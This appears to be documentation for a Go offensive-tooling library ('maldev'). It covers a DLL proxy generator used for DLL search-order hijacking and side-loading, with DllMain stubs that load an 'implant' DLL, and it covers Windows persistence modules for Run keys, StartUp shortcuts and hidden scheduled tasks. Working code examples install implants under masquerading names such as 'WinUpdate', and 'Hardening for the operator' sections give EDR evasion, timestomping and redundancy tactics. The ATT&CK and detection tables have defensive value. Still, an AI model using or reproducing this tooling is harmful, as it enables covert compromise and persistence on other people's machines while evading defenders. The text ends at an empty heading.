+0x044 COFF File Header (20) Machine = 0x8664, NumberOfSections = 1
+0x058 Optional Header PE32+ (240) Magic = 0x20B, ImageBase = 0x180000000,
AddressOfEntryPoint = 0,
DllCharacteristics = NX_COMPAT
+0x148 Section Header (40) ".rdata", flags 0x40000040
+0x170 pad zero to FileAlignment 0x200
+0x200 .rdata content
.rdata content (RVA = 0x1000)
+0 IMAGE_EXPORT_DIRECTORY (40)
+40 AddressOfFunctions[N] uint32 each — RVA into the same .rdata,
pointing at a forwarder string
+40+4N AddressOfNames[N] uint32 — RVA to export name string
+40+8N AddressOfNameOrdinals[N] uint16 — identity map (i → i)
+40+10N DLL name string "<targetName>\0"
… forwarder strings "\\.\GLOBALROOT\SystemRoot\System32\target.dll.<export>\0"
… export name strings "<export>\0"
Forwarder detection
The Windows loader detects a forwarder by RVA range: an export is a forwarder iff its AddressOfFunctions[i] value falls inside the IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress … +Size range. The emitter sizes the data directory to span the entire .rdata content, so every forwarder string sits inside the range automatically.
Sorting
Windows performs a binary search on AddressOfNames when resolving exports by name. The emitter sorts the input list alphabetically before laying out the tables — AddressOfNameOrdinals[i] is always i, the identity map.
API Reference
type Machine uint16
const (
MachineAMD64 Machine = 0x8664 // PE32+, default and only Phase 1 target
MachineI386 Machine = 0x14c // Phase 3, not yet implemented
)
func (m Machine) String() string
type PathScheme int
const (
PathSchemeGlobalRoot PathScheme = iota // \\.\GLOBALROOT\SystemRoot\System32\target — default
PathSchemeSystem32 // C:\Windows\System32\target — recurses if deployed in System32
)
func (p PathScheme) String() string
type Options struct {
Machine Machine // zero → MachineAMD64
PathScheme PathScheme // zero → PathSchemeGlobalRoot
PayloadDLL string // when set, embed a DllMain that LoadLibraryA's it
DOSStub bool // emit canonical 128-byte MSVC DOS header + program
PatchCheckSum bool // recompute IMAGE_OPTIONAL_HEADER.CheckSum post-assembly
}
type Export struct {
Name string // "" for ordinal-only exports
Ordinal uint16 // 0 → emitter assigns the next free slot from 1
}
func Generate(targetName string, exports []string, opts Options) ([]byte, error)
func GenerateExt(targetName string, exports []Export, opts Options) ([]byte, error)
Generate is sugar over GenerateExt: it wraps []string into []Export{{Name: n}} and lets the emitter auto-assign ordinals from 1. Use GenerateExt directly when proxying a target with ordinal-only exports (msvcrt, ws2_32, …) or when ordinals must match the legitimate target's table.
Sentinel errors (use errors.Is):
var (
ErrEmptyExports // no exports supplied
ErrEmptyTargetName // blank target name
ErrInvalidExport // entry has neither name nor ordinal, or duplicate ordinals
ErrUnsupportedMachine // Options.Machine is something other than AMD64 or I386
)
Examples
Simple — bake a proxy for version.dll
import (
"os"
"github.com/oioio-space/maldev/pe/dllproxy"
"github.com/oioio-space/maldev/pe/parse"
)
f, _ := parse.Open(`C:\Windows\System32\version.dll`)
exports, _ := f.Exports()
proxy, _ := dllproxy.Generate("version.dll", exports, dllproxy.Options{})
_ = os.WriteFile(`C:\writable\dir\version.dll`, proxy, 0o644)
Composed — find an opportunity and bake a matching payload
opps, _ := dllhijack.ScanAll(nil)
for _, opp := range opps {
f, err := parse.Open(opp.LegitimatePath)
if err != nil { continue }
exports, _ := f.Exports()
f.Close()
proxy, err := dllproxy.Generate(opp.MissingDLL, exports, dllproxy.Options{})
if err != nil { continue }
_ = os.WriteFile(opp.HijackedPath, proxy, 0o644)
}
32-bit targets (MachineI386)
Setting Options.Machine = dllproxy.MachineI386 switches the emitter to PE32 output for hijacking legacy WOW64 victims. The forwarder-only path produces a 224-byte optional header (vs 240 for PE32+), IMAGE_FILE_32BIT_MACHINE in the COFF flags, ImageBase 0x10000000, and a 32-bit BaseOfData.
The Phase 2 payload-load path swaps the AMD64 stub for a 28-byte x86 stdcall stub:
mov eax, [esp+8] ; reason
cmp eax, 1 ; DLL_PROCESS_ATTACH
jne ret_true
push <payload_str_abs>
call dword ptr [<iat_abs>]
ret_true:
mov eax, 1
ret 0Ch ; stdcall: pop 3*4 bytes of args
x86 has no RIP-relative addressing, so the stub embeds absolute virtual addresses (ImageBase + RVA). The emitter keeps IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE off, so the loader honours the embedded ImageBase and the absolutes resolve correctly.
out, err := dllproxy.Generate("version.dll", exports, dllproxy.Options{
Machine: dllproxy.MachineI386,
PayloadDLL: "implant32.dll",
})
Mixed named + ordinal-only exports
Some Windows DLLs (msvcrt, ws2_32, comctl32 in legacy comdlg roles) ship a substantial fraction of exports as ordinal-only — they appear in IMAGE_EXPORT_DIRECTORY.AddressOfFunctions but have no entry in AddressOfNames. Proxying these targets requires the loader to find the right slot when a victim imports target.dll!#42 instead of target.dll!Foo.
import (
"github.com/oioio-space/maldev/pe/dllproxy"
"github.com/oioio-space/maldev/pe/parse"
)
f, _ := parse.Open(`C:\Windows\System32\msvcrt.dll`)
entries, _ := f.ExportEntries() // []parse.Export with Name+Ordinal+Forwarder
mapped := make([]dllproxy.Export, len(entries))
for i, e := range entries {
mapped[i] = dllproxy.Export{Name: e.Name, Ordinal: e.Ordinal}
}
proxy, _ := dllproxy.GenerateExt("msvcrt.dll", mapped, dllproxy.Options{})
The emitter:
- Sorts entries by ordinal ascending.
- Sets
Base = lowest_ordinal,NumberOfFunctions = highest_ordinal − Base + 1. Sparse slots (ordinals not present in input) leave theirAddressOfFunctionsentry zero — the loader treats those as "not exported at this ordinal", same as a real DLL. - Emits forwarder strings in the form
<target>.<name>for named entries and<target>.#<ordinal>for ordinal-only. - Builds
AddressOfNamesfrom the named subset only, sorted alphabetically (loader binary search).
Advanced — DllMain payload load
proxy, err := dllproxy.Generate(
target,
exports,
dllproxy.Options{PayloadDLL: "implant.dll"},
)
The proxy now contains a tiny x64 entry point that runs once on DLL_PROCESS_ATTACH:
cmp edx, 1 ; fdwReason == DLL_PROCESS_ATTACH ?
jne ret_true
sub rsp, 28h ; Win64 shadow space + 16-byte align
lea rcx, [rip+payload_string] ; LPCSTR lpLibFileName
call qword ptr [rip+iat_loadlibrarya]
add rsp, 28h
ret_true:
mov eax, 1
ret
The Windows loader resolves the IAT slot for kernel32!LoadLibraryA before our entry point runs, so the indirect call lands directly in kernel32. Failure of LoadLibraryA is silent — the proxy still returns TRUE, the legitimate forwarders still work, the only signal is the absence of the payload.
Advanced — alternate path scheme
PathSchemeSystem32 produces shorter, more readable forwarder strings but recurses into self if deployed in System32. Safe only for hijack opportunities outside System32 (almost all real ones).
proxy, err := dllproxy.Generate(
"credui.dll",
exports,
dllproxy.Options{PathScheme: dllproxy.PathSchemeSystem32},
)
Advanced — MSVC-shaped output (DOS stub + CheckSum)
For deployments where defenders fingerprint on the absence of a
real DOS stub or a zero-valued optional-header CheckSum, both
flags can be flipped:
proxy, _ := dllproxy.Generate("version.dll", exports, dllproxy.Options{
DOSStub: true, // canonical "This program cannot be run in DOS mode."
PatchCheckSum: true, // ImageHlp!CheckSumMappedFile-equivalent
})
DOSStub bumps e_lfanew from 0x40 to 0x80 and embeds the canonical 128-byte MSVC DOS block.
PatchCheckSum reuses pe/cert.PatchPECheckSum after assembly so the field is non-zero and self-consistent.
OPSEC & Detection
| Phase | Telemetry | Counter |
|---|---|---|
| Emission (offline) | None — pure Go, no syscalls, no file opens. | N/A |
| File write to opportunity path | File create event under <writable dir>\<dllname> matches D3-PFV signatures (DLL appearing in non-canonical path next to a PE that imports it). | Drop into a path the EDR doesn't actively watch; randomise drop time. |
| Process load | \\.\GLOBALROOT\SystemRoot\System32\… paths in image-load events stand out — most legitimate DLLs are loaded by short module name only. | Use PathSchemeSystem32 when System32 redirection is not a concern. |
| Forwarder strings on disk | YARA / static-analysis tools matching the GLOBALROOT prefix. | Hex-rotate / RC4 the strings at emission time, decrypt at DllMain (Phase 2 + obfuscation, future work). |
MITRE ATT&CK
| T-ID | Name | D3FEND counter |
|---|---|---|
| T1574.001 | Hijack Execution Flow: DLL Search Order Hijacking | D3-PFV |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | D3-PFV |
Limitations
- COM-private semantics. The MSVC
,PRIVATElinker directive only excludes a symbol from the import library so downstream.lib-based linkers ignore it; at runtime the export is binary-identical to a regular named export.pe/dllproxydoes not need a separate code path — passDllRegisterServer& friends as ordinaryExport{Name: …}entries. - CheckSum + DOS stub are now opt-in.
Options.PatchCheckSumrecomputes IMAGE_OPTIONAL_HEADER.CheckSum (viape/cert.PatchPECheckSum);Options.DOSStubemits the canonical 128-byte MSVC DOS block. Both default to false (preserves the historic minimal-MZ + zero-CheckSum output for callers that don't care). - Forwarder paths are plaintext in
.rdata— easy YARA target. String obfuscation is a Phase 2 candidate.
See also
recon/dllhijack— discovery side of the same chainpe/parse— extracts the input export listmrexodia/perfect-dll-proxy— original GLOBALROOT path trick (C++/Python)namazso/dll-proxy-generator— Rust binary tool we're matching the output shape of
Persistence techniques
The persistence/* package tree groups Windows-only mechanisms
that re-launch an implant across reboots and user logons. The
Mechanism interface is the composition
primitive: each sub-package returns a Mechanism, and
InstallAll / VerifyAll /
UninstallAll operate on a flat slice — operators typically
install two or three mechanisms in parallel so failure of any
single one (cleanup sweep, AV remediation, EDR auto-roll-back)
does not lose persistence.
flowchart TB
subgraph trig [Triggers]
LOGON[user logon]
BOOT[boot]
SCHED[schedule / time]
CLICK[user execution]
end
subgraph mechs [persistence/*]
REG[registry<br>HKCU + HKLM<br>Run / RunOnce]
ST[startup<br>StartUp-folder LNK]
SCHEDP[scheduler<br>COM ITaskService]
SVC[service<br>SCM SYSTEM]
ACC[account<br>local user + admin]
LNK[lnk<br>shortcut primitive]
end
subgraph compose [Composition]
IFACE[Mechanism interface]
ALL[InstallAll / VerifyAll / UninstallAll]
end
LOGON --> REG
LOGON --> ST
LOGON --> SCHEDP
BOOT --> SVC
BOOT --> SCHEDP
SCHED --> SCHEDP
CLICK --> LNK
ACC -. companion to .-> SVC
LNK -. underlying primitive of .-> ST
REG --> IFACE
ST --> IFACE
SCHEDP --> IFACE
SVC --> IFACE
IFACE --> ALL
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
persistence/registry | registry.md | moderate | HKCU + HKLM Run / RunOnce key persistence |
persistence/startup | startup-folder.md | moderate | StartUp-folder LNK persistence (user + machine) |
persistence/scheduler | task-scheduler.md | moderate | COM-based scheduled tasks; logon / startup / daily / time triggers |
persistence/service | service.md | noisy | Windows service via SCM (SYSTEM-scope) |
persistence/lnk | lnk.md | quiet | Underlying LNK creation primitive (used by startup, also for T1204.002 user-execution traps) |
persistence/account | account.md | noisy | Local user account add / delete / group membership |
Quick decision tree
| You want to… | Use |
|---|---|
| …survive a reboot, no admin | registry.RunKey(HiveCurrentUser, …) or startup.Shortcut |
| …survive a reboot, machine-wide | registry.RunKey(HiveLocalMachine, …) or startup.InstallMachine |
| …trigger before user logon (boot / startup) | scheduler with WithTriggerStartup or service |
| …schedule recurring callbacks | scheduler.Create with WithTriggerDaily |
| …run as SYSTEM | service or scheduler with startup trigger |
| …compose multiple mechanisms with redundancy | persistence.InstallAll |
| …leave a credential that survives implant removal | account.Add + SetAdmin (loud) |
| …drop a user-execution trap (Desktop / Quick Launch) | lnk.New |
Layered redundancy recipe
The canonical "redundant persistence" pattern installs two mechanisms with different telemetry profiles. Loss of one does not lose persistence; the noisier one provides reach, the quieter one provides resilience.
mechs := []persistence.Mechanism{
// Loud + reach: SYSTEM-scope service, runs at boot.
service.Service(&service.Config{
Name: "WinUpdate",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
}),
// Quiet + resilience: HKCU Run-key, runs at user logon.
registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
"WinUpdateBackup",
`C:\ProgramData\Microsoft\winupdate.exe`),
}
errs := persistence.InstallAll(mechs)
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | persistence/registry, persistence/startup | D3-SICA, D3-FCA |
| T1547.009 | Shortcut Modification | persistence/lnk, persistence/startup | D3-FCA |
| T1053.005 | Scheduled Task/Job: Scheduled Task | persistence/scheduler | D3-SCA |
| T1543.003 | Create or Modify System Process: Windows Service | persistence/service | D3-PSA, D3-SICA |
| T1136.001 | Create Account: Local Account | persistence/account | D3-LAM |
| T1098 | Account Manipulation | persistence/account (group changes) | D3-UAP |
| T1204.002 | User Execution: Malicious File | persistence/lnk (Desktop / Quick Launch traps) | D3-FCA |
See also
- Operator path: persistence selection
- Detection eng path: persistence telemetry
pe/masquerade— clone svchost identity for the persisted binary.pe/cert— graft Authenticode signature.cleanup— remove persistence artefacts at op end.privesc— pair to obtain the admin / SYSTEM tokens HKLM-scope and SCM persistence require.
Registry Run / RunOnce persistence
← persistence index · docs/index
TL;DR
Write the implant's path to one of the four canonical Run /
RunOnce registry keys (HKCU + HKLM, persistent + one-shot).
Windows launches every value at user logon. HKCU does not need
admin; HKLM does. Implements persistence.Mechanism
for redundant composition.
Primer
Windows reads four registry keys at logon and launches every
value as a process command-line. This is one of the oldest and
most documented persistence techniques — and one of the most
monitored. Its appeal is the trivial install (single
RegSetValueEx) and the no-admin HKCU path: even a
limited-token implant can self-restart after every reboot.
Run keys persist across reboots; RunOnce keys self-delete
after firing once — useful for first-boot bootstrappers that
hand off to a more durable mechanism and then vanish.
How It Works
sequenceDiagram
participant Impl as "Implant"
participant Reg as "HKCU\…\Run"
participant Logon as "User logon"
participant Bin as "Implant binary"
Impl->>Reg: RegSetValueEx("IntelGraphicsUpdate",<br>"C:\…\winupdate.exe")
Note over Logon: Reboot / log off + log on
Logon->>Reg: RegEnumValue
Reg-->>Logon: each Run value
Logon->>Bin: CreateProcess(value as cmdline)
Registry paths:
| Hive | Key | Behaviour | Admin? |
|---|---|---|---|
| HKCU | Software\Microsoft\Windows\CurrentVersion\Run | persistent, per-user | no |
| HKCU | Software\Microsoft\Windows\CurrentVersion\RunOnce | one-shot, per-user | no |
| HKLM | Software\Microsoft\Windows\CurrentVersion\Run | persistent, machine-wide | yes |
| HKLM | Software\Microsoft\Windows\CurrentVersion\RunOnce | one-shot, machine-wide | yes |
RunOnce self-cleanup happens after launch succeeds — values
where the binary is missing or fails to launch stay in the
registry, which is itself a forensic tell.
API Reference
type Hive int / type KeyType int
| Constant | Maps to |
|---|---|
HiveCurrentUser | HKEY_CURRENT_USER |
HiveLocalMachine | HKEY_LOCAL_MACHINE |
KeyRun | …\CurrentVersion\Run |
KeyRunOnce | …\CurrentVersion\RunOnce |
Functions
| Symbol | Description |
|---|---|
Set(hive, keyType, name, value) | Write the value; create the key if missing |
Get(hive, keyType, name) | Read a single value |
Delete(hive, keyType, name) | Remove the value (idempotent) |
Exists(hive, keyType, name) | Cheap presence probe |
RunKey(hive, keyType, name, value) *RunKeyMechanism | Mechanism adapter for persistence.InstallAll |
Sentinel errors
| Error | Trigger |
|---|---|
ErrNotFound | Get / Exists on a value that doesn't exist |
Examples
Simple — HKCU install + remove
import "github.com/oioio-space/maldev/persistence/registry"
_ = registry.Set(registry.HiveCurrentUser, registry.KeyRun,
"IntelGraphicsUpdate", `C:\Users\Public\winupdate.exe`)
defer registry.Delete(registry.HiveCurrentUser, registry.KeyRun,
"IntelGraphicsUpdate")
Composed — Mechanism + idempotent install
m := registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
"IntelGraphicsUpdate", `C:\Users\Public\winupdate.exe`)
if exists, _ := registry.Exists(registry.HiveCurrentUser,
registry.KeyRun, "IntelGraphicsUpdate"); !exists {
_ = m.Install()
}
Advanced — hive selection + RunOnce bootstrap
Pick HKLM when the implant has admin, otherwise fall back to
HKCU; pair with a RunOnce bootstrap that hands off to a
service.
import (
"github.com/oioio-space/maldev/persistence/registry"
"github.com/oioio-space/maldev/win/privilege"
)
const (
name = "IntelGraphicsCompat"
payload = `C:\Users\Public\Intel\stage1.exe`
)
hive := registry.HiveCurrentUser
if admin, elevated, _ := privilege.IsAdmin(); admin && elevated {
hive = registry.HiveLocalMachine
}
if exists, _ := registry.Exists(hive, registry.KeyRun, name); exists {
return
}
_ = registry.Set(hive, registry.KeyRun, name, payload)
_ = registry.Set(hive, registry.KeyRunOnce, name+"_bootstrap",
payload+" --bootstrap")
See ExampleSet
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
Sysmon Event 13 (registry value set) under …\Run | High-fidelity rule on every mature EDR; HKCU\…\Run draws less default coverage than HKLM\…\Run |
autoruns.exe Run-key listing | Sysinternals Autoruns is universal IR triage |
| Defender ASR rule "Block credential stealing" doesn't apply, but ASR "Block persistence through WMI event subscription" detects siblings | EDR rule library |
Value name keyed against known IOC list (payload, update, svchost) | Naive YARA-style rules on registry value contents |
Binary path under user-writable directories (%TEMP%, %APPDATA%\Local\Temp) | Defender heuristic — legitimate Run values target installed-software paths |
RegEnumValue / RegOpenKeyEx from non-explorer.exe | EDR API telemetry; rare unless tooling explicitly polls Run keys |
D3FEND counters:
Hardening for the operator:
- Prefer HKCU when current-user scope is sufficient — lower default coverage and no admin prompt.
- Pick value names that mimic real Run-key values (Adobe Updater, Intel Graphics, Microsoft OneDrive) — pair the binary path with a name + path that match.
- Drop the binary in
%PROGRAMDATA%\Microsoft\…\rather than%TEMP%. - Pair with another mechanism via
persistence.InstallAllso loss of the Run key (autoruns.exe -e -accepteula -ccleanup) does not lose persistence. - For one-shot bootstrappers, use
RunOnceso the registry evidence vanishes on first boot.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | full — Run / RunOnce both supported | D3-SICA, D3-SEA |
Limitations
- Logon trigger only. Run keys fire at user logon, not at
boot. For pre-logon execution use
persistence/serviceorpersistence/schedulerwith aBoot/Startuptrigger. - HKLM admin requirement. Without admin the operator is HKCU-only.
- No CWD control. Windows launches Run-key values via
CreateProcesswith the user's profile as CWD; binaries that depend on a specific CWD must encode it viacd /din the value or read it from a config. - Value-name collision. Two implants writing to the same value name cause silent overwrite — pick distinctive names.
- Visible to standard tooling.
regedit,reg query, PowerShellGet-ItemProperty, andautoruns.exeall surface Run-key values. No way to hide a Run-key entry from a thorough triage.
See also
persistence/startup— sibling logon trigger via StartUp folder.persistence/scheduler— sibling with broader trigger options (boot, daily, time).persistence/service— sibling SYSTEM-scope persistence with pre-logon boot trigger.win/privilege—IsAdminfor hive selection.crypto— encrypt the on-disk payload.cleanup/timestomp— match the binary's file timestamps to a trusted neighbour.- Operator path.
- Detection eng path.
StartUp folder persistence
← persistence index · docs/index
TL;DR
Drop a .lnk shortcut into the user or machine StartUp folder.
Windows Shell launches every shortcut it finds at user logon. No
admin needed for user-scope; admin for machine-wide. Implements
persistence.Mechanism. Sibling to
persistence/registry — pair them for
redundancy.
Primer
The StartUp folder is the GUI-era equivalent of Run keys. Windows Shell scans two well-known directories at logon and launches every shortcut it finds:
- User:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup - Machine:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Once-popular as an "easy" persistence path, it's now well-known
to defensive tooling — but the user folder still sees less
default scrutiny than HKLM\…\Run on most stacks. The package
wraps persistence/lnk (LNK creation primitive) with
the right paths and a Mechanism adapter.
How It Works
sequenceDiagram
participant Impl as "Implant"
participant Lnk as "persistence/lnk"
participant FS as "%APPDATA%\…\Startup"
participant Logon as "User logon"
participant Shell as "Windows Shell"
Impl->>Lnk: New().SetTargetPath(payload).Save(<dir>\Update.lnk)
Lnk->>FS: write .lnk
Note over Logon: Reboot / log off + log on
Shell->>FS: enumerate Startup folder
FS-->>Shell: Update.lnk (target = payload)
Shell->>Impl: CreateProcess(payload)
Per-user paths can be discovered via SHGetKnownFolderPath /
%APPDATA%; the package's UserDir / MachineDir helpers
encapsulate that.
API Reference
Functions
| Symbol | Description |
|---|---|
UserDir() (string, error) | Resolve %APPDATA%\…\Startup for the calling user |
MachineDir() (string, error) | Resolve %PROGRAMDATA%\…\StartUp |
Install(name, target, args) | Drop a .lnk into the user folder |
InstallMachine(name, target, args) | Drop a .lnk into the machine folder (admin) |
Remove(name) error | Delete the user-folder shortcut |
RemoveMachine(name) error | Delete the machine-folder shortcut |
Exists(name) bool | User-folder presence probe |
Shortcut(name, target, args) *ShortcutMechanism | Mechanism adapter for persistence.InstallAll |
name must be the value the LNK file will get without the
.lnk suffix — Install appends it.
Examples
Simple — user-scope drop
import "github.com/oioio-space/maldev/persistence/startup"
_ = startup.Install("WindowsUpdate",
`C:\Users\Public\winupdate.exe`,
"--silent")
defer startup.Remove("WindowsUpdate")
Composed — Mechanism + idempotency
m := startup.Shortcut("WindowsUpdate",
`C:\Users\Public\winupdate.exe`, "")
if !startup.Exists("WindowsUpdate") {
_ = m.Install()
}
Advanced — machine-wide install + timestomp
Drop the launcher in the machine folder so the implant runs at every user's logon, then timestomp the resulting LNK so it blends with surrounding Microsoft files.
import (
"os"
"path/filepath"
"github.com/oioio-space/maldev/cleanup/timestomp"
"github.com/oioio-space/maldev/persistence/startup"
)
const target = `C:\ProgramData\Microsoft\winupdate.exe`
if err := startup.InstallMachine("WindowsUpdate", target, ""); err != nil {
panic(err)
}
machineDir, _ := startup.MachineDir()
lnkPath := filepath.Join(machineDir, "WindowsUpdate.lnk")
ref, _ := os.Stat(`C:\Windows\System32\svchost.exe`)
t := ref.ModTime()
_ = timestomp.SetFull(lnkPath, t, t, t)
Pipeline — startup + registry redundancy
Pair a Run-key with the StartUp shortcut so removing one does not lose persistence.
import (
"github.com/oioio-space/maldev/persistence"
"github.com/oioio-space/maldev/persistence/registry"
"github.com/oioio-space/maldev/persistence/startup"
)
const target = `C:\Users\Public\winupdate.exe`
mechs := []persistence.Mechanism{
startup.Shortcut("WindowsUpdate", target, ""),
registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
"WindowsUpdateBackup", target),
}
_ = persistence.InstallAll(mechs)
See ExampleShortcut.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
File creation under %APPDATA%\…\Startup | Path-scoped EDR rules — high-fidelity even for benign-looking LNKs |
File creation under %PROGRAMDATA%\…\StartUp | Same, with admin involvement adding to the signal |
autoruns.exe -lcuser / -l listing | Sysinternals Autoruns surfaces both folders |
| LNK pointing at user-writable / temp paths | Defender heuristic |
| LNK with mismatched icon vs target binary | EDR rule cross-checks IconLocation vs TargetPath |
| Implant binary lacking signature + Microsoft VERSIONINFO | Pair with pe/masquerade + pe/cert |
D3FEND counters:
Hardening for the operator:
- Prefer the user folder unless machine-wide is required — lower default coverage.
- Match icon + display name to a plausible identity (Notes, Update, OneDrive).
- Pair with
cleanup/timestompso the LNK's MFT timestamps blend with surrounding Microsoft artefacts. - Pair with
persistence/registryfor redundancy viapersistence.InstallAll. - Avoid this technique when the target stack runs strict ASR rules ("Block executable content from email client and webmail" applies to LNKs delivered via that channel).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1547.001 | Boot or Logon Autostart Execution: Startup Folder | full — user + machine | D3-FCA |
| T1547.009 | Shortcut Modification | partial — LNK creation primitive (delegated to persistence/lnk) | D3-FCA |
Limitations
- Logon-only trigger. Like Run keys, fires at user logon — not at boot.
- One LNK per name. Re-installing under the same name overwrites the existing shortcut without warning.
- Windows-only. No cross-platform stub.
- Visible to standard triage. Both folders are universal IR triage targets.
- No service-account context. LNKs run in the logging-in
user's session — for SYSTEM-scope persistence use
persistence/service.
See also
persistence/lnk— underlying LNK creation primitive.persistence/registry— sibling logon trigger; pair for redundancy.persistence/scheduler— sibling with pre-logon (boot / startup) triggers.pe/masquerade— clone identity for the launched binary.cleanup/timestomp— align LNK timestamps.- Operator path.
- Detection eng path.
Scheduled task persistence
← persistence index · docs/index
TL;DR
Create, list, run, and delete Windows scheduled tasks via the
COM ITaskService API — no schtasks.exe child process.
Supports logon, startup, daily, and one-shot time triggers, plus
a Hidden flag. Implements persistence.Mechanism.
Trade-off vs persistence/service: same SYSTEM-scope reach with
broader trigger options and lower direct-spawn telemetry, but
Event 4698 still emits.
Primer
The Task Scheduler is the most flexible Windows persistence mechanism. Triggers go beyond logon (Run keys, StartUp folder) and boot (services): tasks can fire on a schedule, on idle, on session lock/unlock, on event-log entries, on system events.
Most operators use schtasks.exe to register tasks — which
spawns a visible child process under the implant's lineage.
This package skips schtasks.exe entirely by talking to the
Schedule.Service COM object directly via go-ole. The audit
event (4698) still fires regardless of registration path; the
process-creation telemetry vanishes.
How It Works
sequenceDiagram
participant Caller
participant COM as "Schedule.Service<br>(COM)"
participant TS as "Task Scheduler service"
participant Audit as "Security log"
participant Trig as "Trigger fires"
participant Bin as "Implant"
Caller->>COM: CoInitialize(STA)
Caller->>COM: GetFolder("\\")
Caller->>COM: NewTask() ITaskDefinition
Caller->>COM: set actions / triggers / settings (hidden=true)
Caller->>COM: RegisterTaskDefinition(name, def)
COM->>TS: persist task definition
TS-->>Audit: Event 4698 (scheduled task created)
Note over Trig: Trigger fires (logon / startup / daily / time)
TS->>Bin: spawn implant under SYSTEM (or registered context)
Triggers supported by this package:
| Constructor | Trigger |
|---|---|
WithTriggerLogon() | Any user logon |
WithTriggerStartup() | Boot — runs as SYSTEM by default |
WithTriggerDaily(intervalDays) | Every N days |
WithTriggerTime(t) | One-shot at t |
Task names must start with \ — \TaskName for the root
folder, \Folder\TaskName for sub-folders.
API Reference
type Task
Surface of a registered task — name, path, hidden flag, last run, next run, state.
Options (type Option func(*options))
| Option | Effect |
|---|---|
WithAction(path, args...) | Required — the binary + args to launch |
WithTriggerLogon() | Any-user-logon trigger |
WithTriggerStartup() | Boot trigger |
WithTriggerDaily(interval int) | Daily trigger every N days |
WithTriggerTime(t time.Time) | One-shot at t |
WithHidden() | Set the task's Hidden flag (taskschd.msc must "Show Hidden Tasks") |
Functions
| Symbol | Description |
|---|---|
Create(name string, opts ...Option) error | Register the task |
Delete(name string) error | Remove the task |
Exists(name string) (bool, error) | Presence probe |
List() ([]Task, error) | Enumerate root + recursive sub-folders |
Actions(name string) ([]string, error) | Read-back action paths for an existing task |
Run(name string) error | Trigger an immediate run via the COM Run method |
ScheduledTask(name, opts...) *TaskMechanism | Mechanism adapter |
Examples
Simple — logon trigger, hidden
import "github.com/oioio-space/maldev/persistence/scheduler"
_ = scheduler.Create(`\IntelGraphicsRefresh`,
scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
scheduler.WithTriggerLogon(),
scheduler.WithHidden(),
)
defer scheduler.Delete(`\IntelGraphicsRefresh`)
Composed — Mechanism + boot trigger
m := scheduler.ScheduledTask(`\Microsoft\Windows\WinUpdate\Refresh`,
scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
scheduler.WithTriggerStartup(),
scheduler.WithHidden(),
)
_ = m.Install() // runs as SYSTEM at boot — admin required
Advanced — daily + one-shot on the same task chain
import "time"
// Daily refresh: every day at the implant's chosen interval.
_ = scheduler.Create(`\IntelGraphicsRefresh`,
scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`),
scheduler.WithTriggerDaily(1),
scheduler.WithHidden(),
)
// One-shot recovery at a specific time (e.g. fire-and-forget
// 2 hours from now to retry a failed C2 callback).
recovery := time.Now().Add(2 * time.Hour)
_ = scheduler.Create(`\IntelGraphicsRefreshRecovery`,
scheduler.WithAction(`C:\ProgramData\Microsoft\winupdate.exe`,
"--recovery"),
scheduler.WithTriggerTime(recovery),
scheduler.WithHidden(),
)
Pipeline — task + Run-key dual persistence
import (
"github.com/oioio-space/maldev/persistence"
"github.com/oioio-space/maldev/persistence/registry"
"github.com/oioio-space/maldev/persistence/scheduler"
)
const bin = `C:\ProgramData\Microsoft\winupdate.exe`
mechs := []persistence.Mechanism{
scheduler.ScheduledTask(`\Microsoft\Windows\WinUpdate\Refresh`,
scheduler.WithAction(bin),
scheduler.WithTriggerStartup(),
scheduler.WithHidden()),
registry.RunKey(registry.HiveCurrentUser, registry.KeyRun,
"WinUpdateBackup", bin),
}
_ = persistence.InstallAll(mechs)
See ExampleCreate.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Security Event 4698 (scheduled task created) | Universal audit; SIEM rules correlate against task-name patterns and binary paths |
| Microsoft-Windows-TaskScheduler/Operational ETW provider | Per-task creation events |
schtasks /query / Get-ScheduledTask listing | Operator review; Hidden flag requires "Show Hidden" toggle in taskschd.msc but schtasks /query /xml shows everything |
Task XML stored at %SystemRoot%\System32\Tasks\<path>\<name> | File-creation telemetry on the XML drop |
Task-name patterns mimicking Microsoft (\Microsoft\Windows\…) | EDR rules flag custom tasks under the \Microsoft\Windows\ prefix because legitimate Microsoft tasks ship via WIM, not runtime registration |
schtasks.exe child process | Absent here — COM path bypasses Sysmon Event 1 / child-process EDR rules |
Hidden task with non-Microsoft author | Defender heuristic flags hidden tasks created by non-Microsoft processes |
D3FEND counters:
Hardening for the operator:
- Match the task path + name to a plausible Microsoft idiom
(
\Microsoft\Windows\<Component>\<Task>) — but be aware some EDRs flag non-Microsoft authors at exactly that path prefix. - Use
WithHidden()to keep the task out of casualtaskschd.mscbrowsing, but don't rely on it as a stealth primitive —schtasks /query /xmlandGet-ScheduledTaskstill surface it. - Prefer
WithTriggerStartupoverWithTriggerLogonfor pre-logon callbacks; the SYSTEM context is broader and the task fires before the user is logged in. - Pair with
pe/masqueradefor binary identity match. - Avoid hosts with strict task-creation auditing (Microsoft-Windows-TaskScheduler/Operational forwarded to enterprise SIEM).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1053.005 | Scheduled Task/Job: Scheduled Task | full — COM-based registration, all common triggers | D3-SCA, D3-SICA |
Limitations
